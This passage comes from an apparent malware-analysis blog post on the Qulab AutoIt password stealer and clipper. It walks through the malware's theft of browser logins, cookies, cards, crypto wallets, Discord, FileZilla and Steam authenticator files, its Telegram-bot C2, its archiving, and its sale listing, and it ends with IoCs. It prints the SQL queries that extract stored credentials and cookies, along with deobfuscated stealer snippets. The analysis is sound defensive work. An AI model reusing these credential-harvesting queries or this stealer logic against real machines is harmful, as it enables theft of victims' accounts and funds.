Serif;"&gt;Dash&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Doge&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Electronium&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Ethereum&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Graft&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Litecoin&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Monero&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Neo&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;QIWI&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Qtum&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="18"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Steam Trade Link&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Stratis&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;VIA&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;WME&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;WMR&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;WMU&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;WMX&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;WMZ&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="16"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Waves&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Yandex Money&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;ZCash&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3&gt;Browser Stealer&lt;/h3&gt;&#10;Qulab is some kind of a puzzle with multiple pieces and each piece is also another puzzle. Collectings and sorting them to solve the entire fresco is some kind of a challenge. I can admit for the browser part, even if the concept is easy and will remain always the same (for the fundamentals of a Password Stealer), the way that it was implemented is somewhat clever.&#10;&#10;At first, every browser that is supported by the malware is checked in turn, with specific arguments :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The Browser path&lt;/li&gt;&#10;&#9;&lt;li&gt;The files that the stealer wants to grab with "|" as a delimiter&lt;/li&gt;&#10;&#9;&lt;li&gt;The Name of the browser&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-609" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-browsers.webp" alt="Browsers" width="1205" height="650" loading="lazy" decoding="async" /&gt;&#10;&#10;It goes to a very important function that will search (not only for the browser), these kinds of files :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;wallet.dat&lt;/li&gt;&#10;&#9;&lt;li&gt;Login Data&lt;/li&gt;&#10;&#9;&lt;li&gt;formhistory.sqlite&lt;/li&gt;&#10;&#9;&lt;li&gt;Web Data&lt;/li&gt;&#10;&#9;&lt;li&gt;cookies.sqlite&lt;/li&gt;&#10;&#9;&lt;li&gt;Cookies&lt;/li&gt;&#10;&#9;&lt;li&gt;.maFile&lt;/li&gt;&#10;&lt;/ul&gt;&#10;If they are matching, it enters into a loop that will save the path entry and storing it into one master variable with "|" as a delimiter for every important file.&#10;&#10;&lt;img class="alignnone size-full wp-image-638" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-loop-files.webp" alt="Screenshot: Loop Files" width="920" height="260" loading="lazy" decoding="async" /&gt;&#10;&#10;When all the files are found, it only needs to do some regular expression to filter and split the data that the malware and to grab.&#10;&#10;&lt;img class="alignnone size-full wp-image-615" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-get-files.webp" alt="GetFiles" width="855" height="550" loading="lazy" decoding="async" /&gt;&#10;&#10;After inspecting and storing data from browsers that are present in the list, serious business is now on the pipe... One of the binaries that are hardcoded in base64 is finally decoded and used to get some juicy data and like every time it's the popular SQLite3.dll that was inside all of this.&#10;&#10;&lt;img class="alignnone size-full wp-image-630" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-cff-explorer.webp" alt="Screenshot: CFF Explorer" width="710" height="583" loading="lazy" decoding="async" /&gt;&#10;&#10;Something interesting to notice is that the developer made some adjustment with the official AutoIT FUD For SQLite3 and removed all the network tasks, for avoiding downloading the libraries (32 or 64 bits) and of course be less detectable.&#10;&#10;The file is saved into the %ROAMING% directory, and will have the name :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;PE_Name + ".sqlite3.module.dll"&lt;/li&gt;&#10;&lt;/ul&gt;&#10;The routine remains the same for each time this library is required :&#10;&#10;&lt;img class="alignnone size-full wp-image-621" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-sqlite-example.webp" alt="Screenshot: Sqlite example" width="1286" height="197" loading="lazy" decoding="async" /&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Checking with a patched &lt;a href="https://www.autoitscript.com/autoit3/docs/libfunctions/_SQLite_GetTable2d.htm"&gt;_SQLite_GetTable2d&lt;/a&gt;, the SQL Statement that needs to be executed &amp;amp; tested is a valid one.&lt;/li&gt;&#10;&#9;&lt;li&gt;The SQL Table is put into a loop and each iteration of the array is verified by a specific regular expression.&lt;/li&gt;&#10;&#9;&lt;li&gt;If the content is found, it enters into another condition that will simply add them into the list of files &amp;amp; information that will be pushed in the malicious archive.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;In the end, these requests are executed on browser files.&#10;&lt;pre&gt; &#10; &#10;SELECT card_number_encrypted, name_on_card, expiration_month, expiration_year FROM credit_cards;&#10;SELECT username_value, password_value, origin_url, action_url FROM logins;&#10;select host, 'FALSE' as flag, path, case when isSecure = 1 then 'TRUE' else 'FALSE' end as secure, expiry, name, value from moz_cookies;&#10;select host_key, 'FALSE' as flag, path, case when is_secure = 1 then 'TRUE' else 'FALSE' end as secure, expires_utc, name, encrypted_value from cookies;&#10; &#10; &#10;&lt;/pre&gt;&#10;&lt;h4&gt;Current List of supported browsers&lt;/h4&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="164"&gt;&lt;/colgroup&gt; &lt;colgroup width="181"&gt;&lt;/colgroup&gt; &lt;colgroup width="173"&gt;&lt;/colgroup&gt; &lt;colgroup width="239"&gt;&lt;/colgroup&gt; &lt;colgroup width="196"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;360 Browser&lt;/td&gt;&#10;&lt;td align="left"&gt;Amigo&lt;/td&gt;&#10;&lt;td align="left"&gt;AVAST Browser&lt;/td&gt;&#10;&lt;td align="left"&gt;Blisk&lt;/td&gt;&#10;&lt;td align="left"&gt;Breaker Browser&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Chromium&lt;/td&gt;&#10;&lt;td align="left"&gt;Chromodo&lt;/td&gt;&#10;&lt;td align="left"&gt;CocCoc&lt;/td&gt;&#10;&lt;td align="left"&gt;CometNetwork Browser&lt;/td&gt;&#10;&lt;td align="left"&gt;Comodo Dragon&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;CyberFox&lt;/td&gt;&#10;&lt;td align="left"&gt;Flock Browser&lt;/td&gt;&#10;&lt;td align="left"&gt;Ghost Browser&lt;/td&gt;&#10;&lt;td align="left"&gt;Google Chrome&lt;/td&gt;&#10;&lt;td align="left"&gt;IceCat&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;IceDragon&lt;/td&gt;&#10;&lt;td align="left"&gt;K-Meleon Browser&lt;/td&gt;&#10;&lt;td align="left"&gt;Mozilla Firefox&lt;/td&gt;&#10;&lt;td align="left"&gt;NETGATE Browser&lt;/td&gt;&#10;&lt;td align="left"&gt;Opera&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Orbitum Browser&lt;/td&gt;&#10;&lt;td align="left"&gt;Pale Moon&lt;/td&gt;&#10;&lt;td align="left"&gt;QIP Surf&lt;/td&gt;&#10;&lt;td align="left"&gt;SeaMonkey&lt;/td&gt;&#10;&lt;td align="left"&gt;Torch&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;UCBrowser&lt;/td&gt;&#10;&lt;td align="left"&gt;uCOZ Media&lt;/td&gt;&#10;&lt;td align="left"&gt;Vivaldi&lt;/td&gt;&#10;&lt;td align="left"&gt;Waterfox&lt;/td&gt;&#10;&lt;td align="left"&gt;Yandex Browser&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3&gt;FTP&lt;/h3&gt;&#10;The FTP is rudimentary but is doing the task, as far than it looks, it's only targeting FileZilla software.&#10;&#10;&lt;img class="alignnone size-full wp-image-612" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-ftp-ftp.webp" alt="Screenshot: FTP FTP" width="1010" height="100" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Grabber&lt;/h3&gt;&#10;Qulab doesn't have an advanced Grabber feature, it's really simplistic compared to stealers like Vidar. It simplifies by just one simple line... It's using the same function as explained above with the browsers, with the only difference, it's focusing on searching specific file format on the desktop directory&#10;&#10;&lt;img class="alignnone size-full wp-image-611" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-grabber.webp" alt="Grabber" width="1091" height="45" loading="lazy" decoding="async" /&gt;&#10;&#10;Targeted files are&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;.txt&lt;/li&gt;&#10;&#9;&lt;li&gt;.maFile&lt;/li&gt;&#10;&#9;&lt;li&gt;wallet.dat&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Wallet&lt;/h3&gt;&#10;Nothing to say more than Exodus is mainly targeted.&#10;&#10;&lt;img class="alignnone size-full wp-image-610" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-wallet.webp" alt="Wallet" width="1382" height="251" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Discord&lt;/h3&gt;&#10;Discord is more and more popular nowadays, so it's daily routine now to see this software targeted by almost all the current password-stealer on the market.&#10;&#10;&lt;img class="alignnone size-full wp-image-614" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-discord.webp" alt="Discord" width="1434" height="158" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Steam &amp;amp; Steam Desktop Authenticator&lt;/h3&gt;&#10;The routine for Steam is almost identical to the one that I explained in Predator and will remain the same until Steam will change some stuff into the security of his files (or just changing the convention name of them).&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Finding the Steam path into the registry&lt;/li&gt;&#10;&#9;&lt;li&gt;searching the config folder&lt;/li&gt;&#10;&#9;&lt;li&gt;searching recursively into it for grabbing all the ssfn files&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;img class="alignnone size-full wp-image-613" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-steam.webp" alt="Steam" width="1062" height="365" loading="lazy" decoding="async" /&gt;&#10;&#10;But! There is something different on this Password-stealer than all the other that I've seen currently. Its also targeting &lt;a href="https://github.com/Jessecar96/SteamDesktopAuthenticator"&gt;Steam Desktop Authenticator&lt;/a&gt; a Third-party software as explained on the official page as a desktop implementation of Steam's mobile authenticator app. It's searching for a specific and unique file ".maFile", it's already mentioned above in the Grabber part and The Browser Stealing part. This file contains sensitive data of the steam account linked with the Steam mobile authenticator app.&#10;&#10;So this malware is heavily targeting Steam :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Clipping Steam Trade Links&lt;/li&gt;&#10;&#9;&lt;li&gt;Stealing steam sessions&lt;/li&gt;&#10;&#9;&lt;li&gt;Stealing 2FA main file from a Third-Party software.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Information log&lt;/h3&gt;&#10;It's a common thing with stealer to have an information file that logs important data from the victim's machine. It's also the case on Qulab, it's not necessary to explain all the part, I'm just explaining here simply with which command it was able to do get the pieces of information.&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="272"&gt;&lt;/colgroup&gt; &lt;colgroup width="1054"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;OS Version&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;@OSVersion&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;OS Architecture&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;@OSArch&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;OS Build&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;@OSBuild&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Username&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;@UserName&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Computer Name&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;@ComputerName&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Processor&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;ExecQuery("SELECT * FROM Win32_VideoController","WQL",16+32)&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Video Card&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;ExecQuery("SELECT * FROM Win32_Processor","WQL",16+32)&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Memory&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;STRINGFORMAT("%.2f Gb",MEMGETSTATS()[1]/1024/1024)&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Keyboard Layout ID&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;@KBLayout&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Resolution&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;@DesktopWidth &amp;amp; @DesktopHeight &amp;amp; @DesktopDepth &amp;amp; @DesktopRefresh&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Network&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Not seen due to the proxy, there is a network request done on ipapi.co for getting all the network information of the victim's machine.&#10;&lt;pre&gt; &#10; &#10;$A4AC5512B62=INETREAD("https://ipapi.co/json",3)&#10; &#10; &#10;&lt;/pre&gt;&#10;The JSON result is consolidated into one variable and saved for the final log file.&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;IF STRINGLEN($A4AC5512B62) &amp;gt; 75 THEN&#10; $A2B1F55481F=A4604603206(BINARYTOSTRING($A4AC5512B62))&#10; $A280FD53C4B =" - IP: " &amp;amp;A211460135A($A2B1F55481F,"[ip]") &amp;amp; EXECUTE(" @CRLF ")&#10; &amp;amp;" - Country: " &amp;amp;A211460135A($A2B1F55481F,"[country_name]") &amp;amp; EXECUTE(" @CRLF ")&#10; &amp;amp;" - City: " &amp;amp;A211460135A($A2B1F55481F,"[city]") &amp;amp; EXECUTE(" @CRLF ")&#10; &amp;amp;" - Region: " &amp;amp;A211460135A($A2B1F55481F,"[region]") &amp;amp; EXECUTE(" @CRLF ")&#10; &amp;amp;" - ZipCode: " &amp;amp;A211460135A($A2B1F55481F,"[postal]") &amp;amp; EXECUTE(" @CRLF ")&#10; &amp;amp;" - ISP: " &amp;amp;A211460135A($A2B1F55481F,"[org]") &amp;amp; EXECUTE(" @CRLF ")&#10; &amp;amp;" - Coordinates: " &amp;amp;A211460135A($A2B1F55481F,"[latitude]")&amp;amp;", "&amp;amp;A211460135A($A2B1F55481F,"[longitude]")&amp;amp;EXECUTE(" @CRLF ")&#10; &amp;amp;" - UTC: " &amp;amp;A211460135A($A2B1F55481F,"[utc_offset]")&amp;amp;" ("&amp;amp;A211460135A($A2B1F55481F,"[timezone]")&amp;amp;")"&#10;ENDIF&#10; &#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Softs&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;$A12EF151C00=A5944E0550E("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall","","DisplayName")&#10;FOR $A51E7205400 = 1 TO $A12EF151C00[0][0]&#10; $A3B1F954B63 &amp;amp;=" - "&amp;amp;$A12EF151C00[$A51E7205400][0]&amp;amp;EXECUTE(" @CRLF ")&#10;NEXT&#10; &#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Process List&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Because AutoIT is based for doing automation task script, almost all the basic commands from the WinAPI are already integrated, so by simply using the ProcessList() call, the list of all the processes are stored into an array.&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;$A2EEFA54E30=PROCESSLIST()&#10;FOR $A51E7205400=1 TO $A2EEFA54E30[0][0]&#10; $A481FB54A60&amp;amp;=" - "&amp;amp;$A2EEFA54E30[$A51E7205400][0]&amp;amp;" / PID: "&amp;amp;$A2EEFA54E30[$A51E7205400][1]&amp;amp;EXECUTE(" @CRLF ")&#10;NEXT&#10; &#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;div&gt;&#10;&#10;By mixing all this data, the log file is finally done:&#10;&#10;&lt;/div&gt;&#10;&lt;pre&gt; &#10; &#10;# /===============================\&#10;# |=== QULAB CLIPPER + STEALER ===|&#10;# |===============================|&#10;# |==== BUY CLIPPER + STEALER ====|&#10;# |=== http://teleg.run/QulabZ ===|&#10;# \===============================/&#10;&#10;Date: XX.XX.2019, HH:MM:SS&#10;&#10;Main Information:&#10;- ...&#10;&#10;Other Information:&#10;- ...&#10;&#10;Soft / Windows Components / Windows Updates:&#10;- ...&#10;&#10;Process List:&#10;- ...&#10; &#10; &#10;&lt;/pre&gt;&#10;&lt;h3&gt;Instructions log&lt;/h3&gt;&#10;For probably helping his customers when the malware is catching data from specific software other than browsers, an additional file is added to give some explanations to fulfill the task entirely after the stealing process, step by step and stores into "Инструкция по установке.txt"&#10;&#10;&lt;img class="alignnone size-full wp-image-636" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-instructions.webp" alt="Instructions" width="1035" height="113" loading="lazy" decoding="async" /&gt;&#10;&#10;Instructions are unique for each of these :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Exodus&lt;/li&gt;&#10;&#9;&lt;li&gt;Discord&lt;/li&gt;&#10;&#9;&lt;li&gt;Wallets&lt;/li&gt;&#10;&#9;&lt;li&gt;Steam&lt;/li&gt;&#10;&#9;&lt;li&gt;Filezilla&lt;/li&gt;&#10;&#9;&lt;li&gt;Telegram&lt;/li&gt;&#10;&#9;&lt;li&gt;Steam Desktop Authentication&lt;/li&gt;&#10;&#9;&lt;li&gt;Grabber part&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Archive Setup&lt;/h3&gt;&#10;&lt;div&gt;When finally everything is done on the stealing tasks, the folder is now ready to be archived, and it's using another encoded payload hardcoded into the script. It's not really complicated to understand here it's 7zip behind this huge amount of code.&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;div&gt;&lt;img class="alignnone size-full wp-image-632" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-7z-b64.webp" alt="Screenshot: 7z b64" width="1067" height="253" loading="lazy" decoding="async" /&gt;&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;div&gt;The payload is saved into the folder repository on %APPDATA% with the name of P&lt;span style="color: var(--color-neutral-600);"&gt;E_Name + ".module.dll" and executing a specific task before deleting everything.&lt;/span&gt;&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;div&gt;&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;ARCHIVATE($A271F153721)&#10;RUNWAIT($A271F153721&amp;amp;" a -y -mx9 -ssw """&amp;amp;$A104A053309&amp;amp;"\"&amp;amp;$A63CEC52907&amp;amp;".7z"" """&amp;amp;$A104A053309&amp;amp;"\1\*""","",EXECUTE(" @SW_HIDE "))&#10;FILEDELETE($A271F153721)&#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;div&gt;If you don't understand the command, they are explained here :&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;div&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="55"&gt;&lt;/colgroup&gt; &lt;colgroup width="362"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;a&lt;/td&gt;&#10;&lt;td align="left"&gt;Add&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;y&lt;/td&gt;&#10;&lt;td align="left"&gt;yes on all queries&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;mx9&lt;/td&gt;&#10;&lt;td align="left"&gt;Ultra Compression Method&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;ssw&lt;/td&gt;&#10;&lt;td align="left"&gt;Compress files open for writing&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;span style="color: var(--color-neutral-600);"&gt;In the end, this is an example of a final archive file.&lt;/span&gt;&#10;&#10;&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&#10;&lt;img class="alignnone size-full wp-image-625" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-archive.webp" alt="Archive" width="1140" height="293" loading="lazy" decoding="async" /&gt;&#10;&#10;But there is a possibility to have all these files &amp;amp; folders:&#10;&lt;div&gt;&#10;&lt;pre&gt; &#10; &#10;\1\Passwords.txt&#10;\1\Information.txt&#10;\1\Screen.jpg&#10;\1\AutoFills.txt&#10;\1\CreditCards.txt&#10;\1\Cookies&#10;\1\Desktop TXT Files&#10;\1\Discord&#10;\1\Telegram&#10;\1\Steam&#10;\1\Exodus&#10;\1\Wallets&#10;\1\FileZilla&#10;\1\SDA&#10; &#10;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;div&gt;&#10;&lt;h3&gt;Cleaning process&lt;/h3&gt;&#10;Simple and effective:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Killing the process&lt;/li&gt;&#10;&#9;&lt;li&gt;Deleting the script directory&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-631" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-erasing-traces.webp" alt="Erasing Traces" width="1321" height="294" loading="lazy" decoding="async" /&gt;&#10;&#10;It's easily catchable on the monitoring logs.&#10;&#10;&lt;/div&gt;&#10;&lt;h2&gt;Telegram Bot as C2?&lt;/h2&gt;&#10;This malware is using a Telegram bot for communicating &amp;amp; alerting when data have been stolen. As usual, it's using some UDF functions, so there is nothing really new. It's not really complicated to understand how it's working.&#10;&#10;When a bot is created, there is a unique authentication token that could be used after for making requests to it.&#10;&#10;api.telegram.org/bot/&#10;&#10;&lt;img class="alignnone size-full wp-image-592" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-telegram-01.webp" alt="Screenshot: Telegram 01" width="1079" height="133" loading="lazy" decoding="async" /&gt;&#10;&#10;Also, it's using a private proxy when it's sending the request to the bot :&#10;&#10;&lt;img class="alignnone size-full wp-image-591" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-ftp.webp" alt="Private proxy settings Qulab uses when sending requests to its Telegram bot" width="688" height="110" loading="lazy" decoding="async" /&gt;&#10;&#10;These values are used to configure the proxy setting during the HTTP request :&#10;&#10;&lt;img class="alignnone size-full wp-image-637" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-proxy.webp" alt="Proxy" width="702" height="238" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;How it looks like on the other side?&lt;/h2&gt;&#10;This malware is developed by Qulab, and it took seconds to find the official sale post his stealer/clipper. As usual, every marketing that you want to know about it is detailed.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;This stealer/clipper is sold 2000 rubles (~30$)&lt;/li&gt;&#10;&#9;&lt;li&gt; Support is possible&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-593" src="https://fumik0.com/wp-content/uploads/2019/03/qulab-darkweb.webp" alt="Screenshot: Qulab Darkweb" width="1241" height="526" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Let's do some funny stuff&lt;/h2&gt;&#10;I made some really funny unexpected content by modifying some instructions to make something that is totally unrelated at all. Somewhat, patching malware could be really entertaining and interesting!&#10;&#10;Note: If you haven't seen the anime "Konosuba", you will not understand at all, what's going on :p&#10;&#10;&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=gRgJ1XlQGYQ" rel="noopener noreferrer"&gt;Watch the video on YouTube&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2&gt;Additional Data&lt;/h2&gt;&#10;&lt;h3&gt;IoC&lt;/h3&gt;&#10;Hashes&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;a915fc346ed7e984e794aa9e0d497137&lt;/li&gt;&#10;&#9;&lt;li&gt;887fac71dc7e038bc73dc9362585bf70&lt;/li&gt;&#10;&#9;&lt;li&gt;a915fc346ed7e984e794aa9e0d497137&lt;/li&gt;&#10;&lt;/ul&gt;&#10;IP&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&#10;&lt;div&gt;&#10;&lt;div&gt;185.142.97.228&lt;/div&gt;&#10;&lt;/div&gt;&#10;&lt;div&gt;&lt;/div&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Proxy Port&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&#10;&lt;div&gt;&#10;&lt;div&gt;65233&lt;/div&gt;&#10;&lt;/div&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Schedule 